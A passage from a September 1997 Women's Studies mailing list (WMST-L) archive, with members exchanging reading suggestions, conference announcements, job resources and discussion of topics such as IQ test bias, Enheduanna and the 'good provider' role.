I want to > see it remain one. It is not a playground, nor a boxing ring, nor > a group therapy session. Those looking for playgrounds and the like > should consult Gender-Related Electronic Forums > (http://www.umbc.edu/wmst/forums.html) or Liszt (http://www.liszt.com) > for more suitable forums. > > Those who continue to wish to slug it out with other WMST-L > participants should do so privately or not at all. Debate is welcome > on WMST-L, but flames, insults, and self-righteous proclamations > (all of which tend to trigger a deluge of mail characterized by more > heat than light) are not. > > I would like to see us move away from some of the topics that > have given rise to this message (the ""chicana feminism"" thread and its > development into ""credentials and research""). I've found both subject > threads interesting, but recently they seem to have exhausted their > usefulness. > > Many thanks for your understanding and cooperation. > > Joan Korenman > :/ shoot. I had decided not to post anything to the list, and wrote a reply back to rosie. but when i went to save my messages and drafts (which i have to do by sending them to myself because of my caveman email program) i sent the draft to the list accidentally. :/. i know i've done this once before some time ago, so i don't even know if you'll believe me, but it's true. i can't simply save my drafts and that's been causing me problems. Vera > ***************************************************************************** > * Joan Korenman korenman@umbc.edu * > * University of Maryland, Baltimore County * > * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * > * * > * The only person to have everything done by Friday was Robinson Crusoe * > ***************************************************************************** > ========================================================================= Date: Sun, 21 Sep 1997 22:49:59 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Vera M. Britto"" Subject: please disregard last credentials message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Vera Britto (fiatlux@umich.edu - http://www.umich.edu/~fiatlux) ........................................................................... Le Bret: Si tu laissais un peu ton ame mousquetaire, la fortune et la gloire... Cyrano: Et que faudrait-il faire? Chercher un protecteur puissant, prendre un patron, et, comme un lierre obscur que circonvient un tronc et s'en fait un tuteur en lui lechant l'ecorce, grimper par ruse au lieu de s'elever par force? Non, merci! Non, merci! Non, merci! Mais... chanter, rever, rire, passer, etre seul, etre libre... oui. ""Cyrano de Bergerac"" - Edmond Rostand ========================================================================= Date: Sun, 21 Sep 1997 23:01:20 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: black IQ test In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Jacqueline, I wasn't objecting to the Black IQ Test or, by implication, the vocabulary test you give to show multiple meanings of words. I agree that such tests can do what you say, ""raise consciousness and (hopefully) change attitudes."" We have no dispute on intention. My concern is too give students tools to understand for themselves and to make specific arguments. To do that, I was I was suggesting that students understand how IQ tests operationalise the theory that intelligence is a ""thing"" people are born with, some with more of it and some with less - and tho there's no empirical evidence that the ""thing"" exists, it's existence and the amount of it in people can be inferred from scores on a test called an Intelligence Test. It's the appearance of someting real that comes from the distribution of scores, which students actually face not only in IQ tests but in spin-offs, e.g. reading tests, SAT. I think it helps students to get a handle on specifics in the tests themselves. I also think the assumed natural distribution plays a role in distributing grades on class exams and course grades. Hard to pin this down. I only mentioned distribution and related tests in my message, didn't go into details because I discussed them some in connection with an earlier thread in wmst, on GREs, didn't want to repeat that. A major worry, too, is test producers' claim they take cultural differences into account. They do this by listing in their test administration guides the groups on which the test was standardised (urban, rural, etc.) and by tinkering with test items and administration instructions. They seem to accommodate cultural differences, but don't change the results. For instance, Educational Testing Service (ETS), the major producer of standardized tests, recently added permissible time for taking a test. The background explanation: women work better with less time pressure. A feminist trying to help women, who is on the professional staff of ETS, argued for this change. On the Wechsler Intelligence Scale for Children (WISC) a couple of items have been singled out to support charges of cultural bias. One asks what to do if you cut your finger and it's bleeding. No credit is given for answers such as 'suck on it,' described by critics as typical in Black children's experience. (Note: I'm not saying it is.) The test producers COULD decide to give one point or two (the maximum in this section of the test, as I recall), defusing the charges. But changing an item or two doesn't change the results, which come from the weight of all of them to get the results, the desired distribution of total scores to confirm the hypothesis that the distribution exists in reality and the inference of a biological base is warranted. If I go into more specifics than others want to use, they won't. It may be the bias of my background, a degree in Educational Psychology and a professor of Education with a specialization in reading as well as a prof in WS, emerita now. In both Ed and WS courses, the construction of hierarchized sociality comes up, and goes differently in each course. In my experience a a discussion of assumptions of what people can and cannot do which includes a presentation of the structure of tests, with examples, gives students something concrete to think about. Others likely have different ways of doing that. beatrice bkachuck@cuny.campus.mci.net ========================================================================= Date: Sun, 21 Sep 1997 20:54:11 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: MARGARET BARBER Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN In-Reply-To: <2.2.32.19970921214356.00b14878@capecod.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII _A Book of Women Poets from Antiquity to Now_, Aliki Barnstone and Willis Barnstone (eds.), New York: Schocken Books, l980, contains some of Enheduanna's poems in translation. Margaret Barber barber@meteor.uscolo.edu ========================================================================= Date: Sun, 21 Sep 1997 22:57:31 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""William W. Pendleton"" Subject: Re: when were women's surnames used? -Reply In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks to those who pointed out that my first posting on this topic referred to spoken use. I searched my memory for cases in writing and examined some old term papers but found no examples there, but a search of an old English literature book, Snyder and Martin, A Book of English Literature, MacMillan, 1927, prompted by an old memory, led me to the following which might prove interesting. In a biographical section, the authors state: ""During the summer of the same year he eloped with Harriet Westbrook...whom he married... His life with her came to an end in the summer of 1814 when he left England withe Mary Godwin...In 1816 Harriet Westbrook Shelley drowned herself; shortly afterward Shelley married Mary Godwin. By 1918 he was living in Italy...deprived by law of the custody of Harriet's children."" I remembered the use of the given name here and on seeing it again, I remember the question arising long ago and being explained by a reluctance to repeat a complete name once used, the confusion of using the surname Shelley or using Westbrook alone. Since her husband's and her father's surnames were confusing, brevity led to the selection of her given name. Interestingly, the authors used the title Mr. for living persons and the surname alone for others. They also refer to Elizabeth Barrett Browning and Mrs. Browning though she was not living at the time. Wm W. Pendleton Department of Sociology Emory University Atlanta, Ga. 30322 socwwp@emory.edu 404 727-7524 ========================================================================= Date: Sun, 21 Sep 1997 22:09:42 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Julie K Daniels Subject: Diversity University- Virtual Campus Announces FREE OPEN HOUSE! (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Because the list has discussed issues of teaching WS online and of the gender implications of online teaching in general, I thought list members might be interested in this open house. Julie Daniels Department of Rhetoric Program in Scientific and Technical Communication 64 Classroom Office Building University of Minnesota St. Paul, MN 55108 email: Julie.K.Daniels-2@tc.umn.edu ---------- Forwarded message ---------- Please forward to all appropriate listserves, newsgroups, schools and organizations. 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Gurak, Ph.D. / Assistant Professor Scientific and Technical Communication Program University of Minnesota / 64 Classroom Office Building / 1994 Buford Ave. St. Paul, MN 55108 / gurakL@epx.cis.umn.edu Home page: http://Rhet.agri.umn.edu/Rhetoric/Faculty/gurak.html Check out: http://www.yale.edu/yup/F97/gurakF97.html ========================================================================= Date: Mon, 22 Sep 1997 00:01:17 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Diana York Blaine Subject: the good provider MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In ""The Unhappy Marriage of Marxism and Feminism,"" Heidi Hartman discusses the rise of the family wage, tying it to the industrialized west's need to expunge women from the labor force so that they could contribute to the health of the laborer by working for him at home. ""Family wages [paying the man enough to permit him to support the rest of the family, to be, then, a good provider] may be understood as a resolution of the conflict which was occurring between patriarchal and capitalist interests at that time."" In other words, tired, underfed workers were not good for profit, a capitalist's problem, and the solution in an already extant patriarchy was to exclude and thereby oppress women (as opposed to any other group) by forcing them to stay at home and serve the laborer for free by giving sex, child care, and the myriad other tasks that we now call ""women's work."" Union restrictions and exclusionary laws sprang up to support this system by preventing women equal access to high paying employment. Previous to this early nineteenth-century shift, Hartman notes, women were commonly in the labor force, ""and in fact the first factories used child and female labor almost exclusively."" The ""family wage"" movement helped push women out of the factory and into the home, contributing to their economic dependence and need for a good provider. Hartman's essay, originally in _Women and Revolution_ (Boston: South End Press, 1981), has been recently reprinted in _The Second Wave: A Reader in Feminist Theory_, ed. Linda Nicholson (Routledge 1997). Diana York Blaine Acting Editor and Book Review Editor Studies in the Novel University of North Texas dblaine@unt.edu ========================================================================= Date: Mon, 22 Sep 1997 08:36:48 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Katherine Side Subject: Re: info request--women as students In-Reply-To: <97092120351624@adrian.adrian.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 21 Sep 1997, Cindy Bily wrote: Cindy, Although it's Canadian in content, it may be pertinent: Lorna Erwin and Peeni Stewart (1997) ""Gendered Perspectives: A Focus-Group Study of How Undergraduate Women Negotiate their Career Aspirations,"" Qualitative Studies in Education 10, no. 2: 207-220. Hope this helps, Katherine Side kside@acs.ryerson.ca Department of Sociology Ryerson Polytechnic University Toronto, Ontario > I am teaching a one-credit year-long Freshman Honors Colloquium this year for > our honors program students. Basically, they read a 10-15-page article each > week, meet to dicsuss it, and also discuss it electronically throughout the > week. Delightfully, all 12 of the students are bright and earnest women. This > semester, I have a full plate of readings about the liberal arts, how different > disciplines approach the world, and hgow technology helps or hinders. Since we > are a group of women, I'd like to do more gender-specific reading next > semester. > Can you all suggest short accessible readings about how the education system > has served or failed women? I looked at REVIVING OPHELIA with the idea of > requiring the whole book as a text, but I think college freshmen feel > themselves to be beyond adolescence (all 12 are 18 years old). Something that > addresses how higher education serves bright women in different disciplines? > Obviously, I don't really know what I'm looking for. If you had a group of > 12 women in an honors program in all different majors, what might you give them > to read? > Thanks for your help. > Cindy Bily Adrian College cbily@adrian.edu > ========================================================================= Date: Mon, 22 Sep 1997 09:07:51 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Daphne Uras Subject: Re: young women & feminism In-Reply-To: ""Your message dated Fri, 19 Sep 1997 08:25:55 -0400"" MIME-version: 1.0 Content-type: text/plain; charset=us-ascii The upcoming (fall 97) issue of _Fireweed_ (a Canadian journal) is supposed to be focused on the topic of young women (or grrls) and feminism. Daphne >You have probably thought already about *Listen Up: Voices of the Next >Generation* ed Barbara Findlen, and *To Be Real* ed. Rebecca Walker. Lisa >Hogeland also had an article in Ms. a few years ago called ""Fear of >Feminism"" which speculated on the reasons that many young women are >disinclined to identify w/feminism. Our local artsy paper *The Providence >Phoenix* had a recent article called ""Lipstick Liberation"" which poked holes >in the arguments of the antifeminist feminists of the third wave -- i.e. >Roiphe, et al. If you think that article is something your student might >find of interest, I'd be happy to forward a copy via snail mail. It is my >understanding that a recent issue of *Hypatia* focused on third wave >feminism -- but since our lousy library doesn't subscribe, I can't confirm >that :) >Donna M. Bickford >dbic6066@uriacc.uri.edu >Department of English and Women's Studies Program >University of Rhode Island >Kingston, RI 02881 ________________________________________________________ Daphne Uras internet: duras@trentu.ca Women's Studies Trent University, Peterborough, Ontario, Canada K9J 7B8 ________________________________________________________ ========================================================================= Date: Mon, 22 Sep 1997 08:27:48 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Amy L. Wink"" Subject: Re: info request--women as students In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII There is also the book--very disturbing-- _Educated in Romance: Women, Achievement, and College Culture_ Dorothy C Holland and Margaret A Eisenhart, 1990. Amy ****************** Dr. Amy L. Wink Department of English and Philosophy Stephen F. Austin State University P.O. Box 13007, SFA Station Nacogdoches, Tx 75962-3007 (409) 468-2007 awink@sfasu.edu A Letter always feels to me like immortality because it is the mind alone without corporeal friend. Indebted in our talk to attitude and accent, there seems a spectral power in thought that walks alone."" Emily Dickinson _Selected Letters_ (#330, p. 196) ******************* ========================================================================= Date: Mon, 22 Sep 1997 08:34:01 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: young women & feminism Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >From the Women's Presses Library Project: Present Tense: Writing and Art by Young Women Micki Reaman, editor and Calyx Young Women's Editorial Collective CALYX Books This anthology showcases the original art and literature of women linked by their youth, women of different sexual orientations, ethnicities, socio-economic backgrounds. 1996 0-934971-54-4 C $28.95 176pp. 1996 0-934971-53-6 P $14.95 176pp. These titles can be found at your local feminist or independent bookstore. If you have trouble locating them, please let me know. Mev >I have a student who wants to write her senior thesis on young women and >feminism. Does anyone have recommendations for works which might be useful >to her as she tries, this semester, to develop more specific questions >within this general topic? Thanks in advance for any help. Please >respond privately. Best, > >Deborah A. Elliston >Visiting Professor >Anthropology Department >Cornell University >264 McGraw Hall >Ithaca, New York 14853 >E-mail: dae13@cornell.edu WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Mon, 22 Sep 1997 08:34:00 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: conferences in 98-99 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I would like to know about conferences that may be in the planning for 1998-99. I am in the process of putting together a couple of grants for studying in the areas of women and literacy. I am looking for conferences that will address any or all of these issues: barriers to women in education adult literacy - esp. for women education in relation to poverty welfare and women education/literacy or lack thereof in relation to poverty and welfare educational opportunities for women with lower reading level skills educational and literacy issues especially as they pertain to poor women, women of color, women in prison, women with disabilities, young mothers, immigrant women, and other disenfranchised groups of women Also, if anyone is teaching in these areas (individual courses or a ""program"") please let me know. Thanks. I really appreciate it. Mev Miller WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Mon, 22 Sep 1997 08:34:04 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: RE; Asian Women and Sexuality Issues Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >From the Women's Presses Library Project: You didn't say which area, so here is something from India. Junglee Girl Ginu Kamani Aunt Lute Books With a title meaning ""wild and uncontrollable woman,"" these stories explore the tensions between female sexual desire and social constraint. 1995 1-879960-41-9 C $19.95 208pp. 1995 1-879960-40-0 P $9.95 208pp. This is from a Japanese American lesbian. A Fire Is Burning, It Is In Me: The Life and Writing of Michiyo Fukaya Gwendolyn Shervington, editor New Victoria Publishers 1996 0-934678-78-2 P $9.95 These titles can be found at your local feminist or independent bookstore. If you have trouble locating them, please let me know. Mev >> > Please respond privately: > > I have a student who wants to conduct research on Asian women with > particular attention to sexuality issues as they pertain to > Asian women. > > Does anyone have recommendations for works which might be > useful to her? Thanks in advance for any help. > > Pat Washington, SDSU > washing3@mail.sdsu.edu WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Mon, 22 Sep 1997 09:43:19 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Anderson Subject: Berkshire Conference In-Reply-To: <21SEP97.19224615.0048.MUSIC@MARISTB.MARIST.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" can someone send me info about the next Berkshire Women's History Conference? thanks. * * * * * * * * * * * * * * * * * * * * * * * * Linda L. Anderson tel: 203/432-0845 Women's Studies Program fax: 203/432-8475 Yale University email: linda.anderson@yale.edu P.O. Box 208319, 315 WLH New Haven, CT 06520-8319 ========================================================================= Date: Mon, 22 Sep 1997 09:49:50 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Anne Carson Subject: FIRST AUTHENTICATED WRITING BY A WOMAN -Reply I believe that the first woman author whose name we know was Enheduanna, a Sumerian priestess who wrote a hymn to the goddess Inanna. See ""The Exaltation of Inanna,"" ed. William Hallo and JJA van Dijk, Yale University Press, 1968. ========================================================================= Date: Mon, 22 Sep 1997 10:15:48 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: BETTY POWELL Organization: Mars Hill College Subject: JOBS FROM WOMEN'S STUDIES List Members, Is there a file on employment possibilites for people with minors or majors in WS? Betty Powell bpowell@mhc.edu ========================================================================= Date: Mon, 22 Sep 1997 10:26:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jean Potuchek Subject: Re: good provider Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 12:53 PM 9/21/97 EDT, Sharon Jacobson and Lu Johnson wrote: > when did the concept of a >Good Provider first come into discusion. I have been able to find >references that suggest that as late as 1532 the concept of provider was >not yet male sex typed. what i am trying to find out is approximately >when was the role of the good provider first sex-typed as male in the >literature? In her article ""The Good Provider Role: Its Rise and Fall"" (American Psychologist 36:1-12, 1981), Jessie Bernard argued that the provider role first emerged as a distinctively male responsibility in the United States in the 1930s. For a historical analysis of the emergence of providing as a male responsibility in England and France, see Louise A. Tilly and Joan W. Scott, *Women, Work, and Family* (New York: Holt, Rinehart and Winston, 1978). --------------- Jean L. Potuchek Department of Sociology Gettysburg College jpotuche@gettysburg.edu 717-3376196 ========================================================================= Date: Mon, 22 Sep 1997 10:32:17 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: JOBS FROM WOMEN'S STUDIES MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Betty Powell writes: > Is there a file on employment possibilites for people with minors or > majors in WS? I don't know of one, but the UMBC Women's Studies home page links to two sites that might be relevant: InforM's job listings (mostly from WMST-L) and the Feminist Majority's Career Center. The UMBC link to these is http://www.umbc.edu/wmst/jobsetc.html . I hope this helps. Joan ************************************************************************* * Joan Korenman, Director, Women's Studies korenman@umbc2.umbc.edu * * University of Maryland Baltimore County * * http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ************************************************************************* ========================================================================= Date: Mon, 22 Sep 1997 09:01:44 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Evelyn A. Schlatter"" Subject: Help Me Find Ellen Greenblatt MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Greetings, all--I was wondering if someone could help Ms. Vester locate Ellen Greenblatt...? If so, please e-mail her privately. Thank you. Evelyn A. Schlatter Dept. of History Univ. of New Mexico evsch@unm.edu ---------- Forwarded message ---------- Date: Sun, 21 Sep 1997 20:35:35 -0700 (PDT) From: Desiree Yael Vester Subject: Help Me Find Ellen.. Hey Ya'll I'm a graduate library student at Queens College and I need to get in touch with Ellen Greenblatt (librarian extraordinaire) or whomever the list moderator is for Lezbrian. I'm writing a paper about library-related mailing lists and I need to get some statistical information. Can anyone help? Thanks. Desiree Yael Vester dvester@newton.baruch.cuny.edu ========================================================================= Date: Mon, 22 Sep 1997 08:38:35 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Betty Glass Subject: FIRST AUTHENTICATED WRITING BY A WOMAN In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Wolkstein, D., and S. Kramer. _Inanna, Queen of Heaven and Earth: Her Stories and Hymns from Sumer_. New York: Harper & Row, 1983. The fertility cult of Inanna thrived from ca. 3,500-500 B.C.E. at Sumer, between the Tigris and the Euphrates rivers. As others have noted, the Sumerian poet/priestess Enkheduanna's poem ""The Exaltation of Inanna"" has survived as the world's first poem by an identifiable author. Betty _________________________________________________________ Betty Glass, Instructional Services Librarian Getchell Library/322 University of Nevada, Reno Reno, NV 89557-0044 email: glass@admin.unr.edu office: (702) 784-6500 ext. 303 FAX: (702) 784-1751 ========================================================================= Date: Mon, 22 Sep 1997 11:48:36 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sandra Faiman-Silva Subject: different genders MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To List: Subject: Re: different genders Much excellent material exists in anthropology/gender studies/gay-lesbian studies pertaining to gender cross-culturally. Some of the best/recent: Martin Duberman, etal. Hidden From History: Reclaiming the Gay and Lesbian Past Penguin, 1990 Evelyn Blackwood, Anthropology and Homosexual Behavior, NY: Haworth, 1985 Estelle Disch, Ed. Reconstructing Gender: A Multicultural Anthology, Mayfield, '97 Stevi Jacxkson and Sue Scott, Eds, Feminism and Sexuality: A Reader, Columbia U 1996 Henry Abelove et al, eds. The Lesbian and Gay Studies Reader Louise Lamphere, etals. eds, Situated Lives: GEnder and Culture in Everyday Life, Routledge, 1997 Sue Ellen Jacobs, etal, eds, Two Spirit People, UIllinois, 1997, Stephen O. Murray Latin American Male Homosexualities, UNew Mexico, 1995 Murray and Will Roscoe, Islamic Homosexualities, Culture, History and Literature, NYU Press, 1997 Gilbert Herdt, Ritualized Homosexuality in Melanesia, U California, 1994 Ian Lumsden, Machos, Maricones and Gays: Cuba and Homosexuality Temple U 1996, Gilbert Herdt, Third Sex, Third Gender: Beyond Sexual Dimorphism in Culture and History. Ellen Lewin, Inventing Lesbian Cultures in America, Beacon Press, 1996 Roger Lancaster and Micaela di Leonardo, The Gender Sexuality Reader, Culture, History, Political Economy, Routledge, 1997 (Just out) This should be a good start for cross-cultural studies of gender. Sandra Faiman-Silva, Professor of Anthropology, Women's Studies Coordinator Bridgewater State College Bridgewater, MA 02325 email @ sfaimansilva@bridgew.edu ========================================================================= Date: Mon, 22 Sep 1997 11:50:44 -0400 Reply-To: p_wiley@fre.fsu.umd.edu Sender: Women's Studies List From: ""Phoebe A. Wiley"" Organization: Frostburg State University Subject: Re: Berkshire Conference MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Linda Anderson wrote: > > can someone send me info about the next Berkshire Women's History > Conference? thanks. > > * * * * * * * * * * * * * * * * * * * * * * * * > > Linda L. Anderson tel: 203/432-0845 > Women's Studies Program fax: 203/432-8475 > Yale University email: linda.anderson@yale.edu > P.O. Box 208319, 315 WLH > New Haven, CT 06520-8319 1999 Berkshire Conference on the History of Women Call for Papers The 11th Berkshire Conference on the History of Women, ""Breaking Boundaries,"" will be held on June 4-6, 1999 at the University of Rochester, Rochester, New York, USA. The Program Committee welcomes proposals that transcend regional, disciplinary, and cultural boundaries; that break traditional boundaries of academic presentation and explore innovative ways of presenting material and involving the audience. The Committee also seeks proposals that discuss pedagogy, public history, collaborative research, and feminist activism. The Committee encourages international participation and panels that represent a diversity of participants. ========================================================================= Date: Mon, 22 Sep 1997 12:14:06 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: Help Me Find Ellen Greenblatt Comments: cc: dvester@newton.baruch.cuny.edu MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Desiree Yael Vester writes: > I'm a graduate library student at Queens College and I need to get in > touch with Ellen Greenblatt (librarian extraordinaire) or > whomever the list moderator is for Lezbrian. I'm writing a paper about > library-related mailing lists and I need to get some statistical > information. Can anyone help? The Gender-Related Electronic Forums listing (http://www.umbc.edu/wmst/forums.html) has a listing for LEZBRIAN, which includes a link to the LEZBRIAN web site. On the web site is a link providing address, phone, fax, email etc. info for Ellen Greenblatt and the other LEZBRIAN listowner. Even if one doesn't know about Gender-Related Electronic Forums, I would imagine that doing a search on lezbrian in a decent search engine should also turn up the list's web page. Finally, all lists running on Listserv software (as opposed to Majordomo or others) have a provision for reaching the listowner by the generic address [listname]-request@host (in the case of Lezbrian, that's lezbrian-request@listserv.acsu.buffalo.edu I'm posting this on WMST-L as well as responding privately because this kind of basic information may be useful to others as well. Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Mon, 22 Sep 1997 13:44:33 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: millerc@SNYONEVA.CC.ONEONTA.EDU Subject: Re: JOBS FROM WOMEN'S STUDIES In-Reply-To: <3016FAA293E@library.mhc.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Betty (and others), The Fund for the Feminist Majority maintains a list of women-related job openings. I don't have the url in front of me, but if I don't see it posted by someone else, I'll try to get it to the list in the morning. Cindy On Mon, 22 Sep 1997, BETTY POWELL wrote: > List Members, > Is there a file on employment possibilites for people with minors or > majors in WS? > > Betty Powell bpowell@mhc.edu > ========================================================================= Date: Mon, 22 Sep 1997 13:54:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: millerc@SNYONEVA.CC.ONEONTA.EDU Subject: Re: JOBS FROM WOMEN'S STUDIES In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Betty (and others), The address for the Career Center for the Feminist Majority is http://www.feminist.org/911/911jobs.html Clindy ========================================================================= Date: Mon, 22 Sep 1997 14:33:28 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: BETTY POWELL Organization: Mars Hill College Subject: amazons Members of the List, I have a student who is interested in doing her senior seminar paper on the female hero and amazons. she hasn't yet focused the topic, but is wondering when the word ""hero"" was first applied to a female. So far, what we find is the use of ""heroine"" rather than hero. Also, she's looking into the amazon figure and it metamorphosis in literature. Any hints on either/both of these? Betty J. Powell bpowell@mhc.edu ========================================================================= Date: Mon, 22 Sep 1997 14:23:42 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Helen M. Bannan"" Subject: Women's Studies web site Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" > > >>FOR IMMEDIATE RELEASE >> >> The Center for Women's Studies at West Virginia University would like to >>announce the launch of their new web site. The site, called WVWMST, is a >>public service web site and electronic communications network made possible >>by an Instructional Technology grant awarded to the Center by the State >>College and University System of West Virginia. Part of a statewide >>outreach initiative of the Center, WVWMST connects people involved in K-12 >>and higher education, students, community development and other activist >>constituencies, to research, Center Resources and to each other. >> >>Dr. Helen Bannan, Center director, says that the site explains what Women's >>Studies is and contains links to web sites on women's issues including >>domestic violence, job hunting, pregnancy and child care, and equal access >>to education. The site also contains information for educators. ""We tried >>hard to find information for K-12 educators. We wanted to find ways to >>bring women's studies into the classroom."" >> >>The Center web weavers, Donna Clarke and Tracy Toler, worked to make the >>site look inviting instead of institutional. ""We wanted to make this site >>one that would not look boring or intimidating,"" said Clarke. ""One of the >>things we are most proud of is that we included the executive summary of >>West Virginia Women: In Perspective. The document, a statistical analysis >>of the status of women in West Virginia, was published by the WV Women's >>Commission, and it is nowhere else on the net."" Clarke said. >> >>The Center officially launched the site this summer, and just held a welcome back event to introduce the site to students and educators. In the meantime, to take a >>look at the WVWMST site, check out this URL, www.as.wvu.edu/wvwmst. We appreciate any feedback on it, > ========================================================================= Date: Mon, 22 Sep 1997 15:23:33 -0400 Reply-To: ""Leah C. Ulansey"" Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: Marital rape/cultures without rape In-Reply-To: <21SEP97.19224615.0048.MUSIC@MARISTB.MARIST.EDU> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Hi--I've got two questions I'm hoping someone can help me with: 1. Are there still states in which marital rape is not a crime? If so, which states, and what action can a woman take in those states? 2. Is it true, as I've sometimes heard, that the Native Americans of the Pacific Northwest had no incidence of rape until their first contact with Europeans? If so, was this also true of other Native American peoples? And are there other cultures that have or at one time had no rape as we know it and if so, can anyone steer me to references? (I am guessing that an anthropologist's definition of rape might be different from our legal one.) Finally, are there cultures in which rape is or was committed predominantly by women? If so, are the victims women or men? Thanks in advance. Please respond privately or to the list. Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Mon, 22 Sep 1997 15:49:40 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""K. Wind Hughes"" Subject: Book-Young Wom/Mentors Daughters of the Moon/Sisters of the Sun: Young Women & Mentors on the Transition to Womanhood. out early Oct - authored by myself - K. Wind Hughes and my coauthor Linda Wolf. New Society Publishers -1 800 567-6772 fax -1 800 567-7311 Candid, Honest, emotionally ripe stories by young women about their lives, and their interviews with their mentors, including: Maya Angelou, Angela Davis, Riane Eisler, Marion Woodman, Bella Abzug, Carol Gilligan, The Indigo Girls, Starhawk, Barbara Walker, Wilma Mankiller and more. Also pieces by the authors. Riane Eisler - author of The Chalice & the Blade and also Sacred Pleasure, said ""this is a very important project that can make an enormous difference not only but in the lives of the girls who directly participated in its focus groups, but in the lives of thousands of other girls through the book."" A must for young women, anyone working with women of all ages or teaching classes on women's studies, adolescence, social psych., developmental, counseling - etc. As a psychotherapist, college instructor, and facilitator of trainings on personal and spiritual development, I often felt the need for a book as this one. Based on over 20 years of my clinical experience and a 3 year project with my co author this book addresses issues such as sex, drugs, media and image, suicide, anorexia/bulimia, spirituality and religion, the maiden, mother/crone as a developmental model for women, abortion, relationships, teen parenting sports, political power, being gay, partnerships with guys and so much more. This book takes Reviving Ophelia one step further in it's honest and heart felt sharing of young women's voices - please feel free to contact me at Windocean@aol.com ========================================================================= Date: Mon, 22 Sep 1997 15:42:49 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: susan lehrer Subject: Conference needs paper For our upcoming conference, Revolting Behavior: Challenges to Women's Sexual Freedom, we would like a paper/presentation on African American Women's Sexuality to go together in a session with a paper on ""African American Women writings about sexuality"". It does not have to be about literature - it could discuss aspects of life experience, etc. Please contact me by e-mail, or call us at 914-257-2975. The conference will be on Saturday Nov. 1, at the State Univ of NY Ccollege at New Paltz, and attracts participants from the college and larger region. Please contact us SAP if you are interested in presenting at this session. Susan Lehrer, lehrers@npvm.newpaltz.edu SUNY - New Paltz ========================================================================= Date: Mon, 22 Sep 1997 12:18:11 -0700 Reply-To: Women's Studies List Sender: Women's 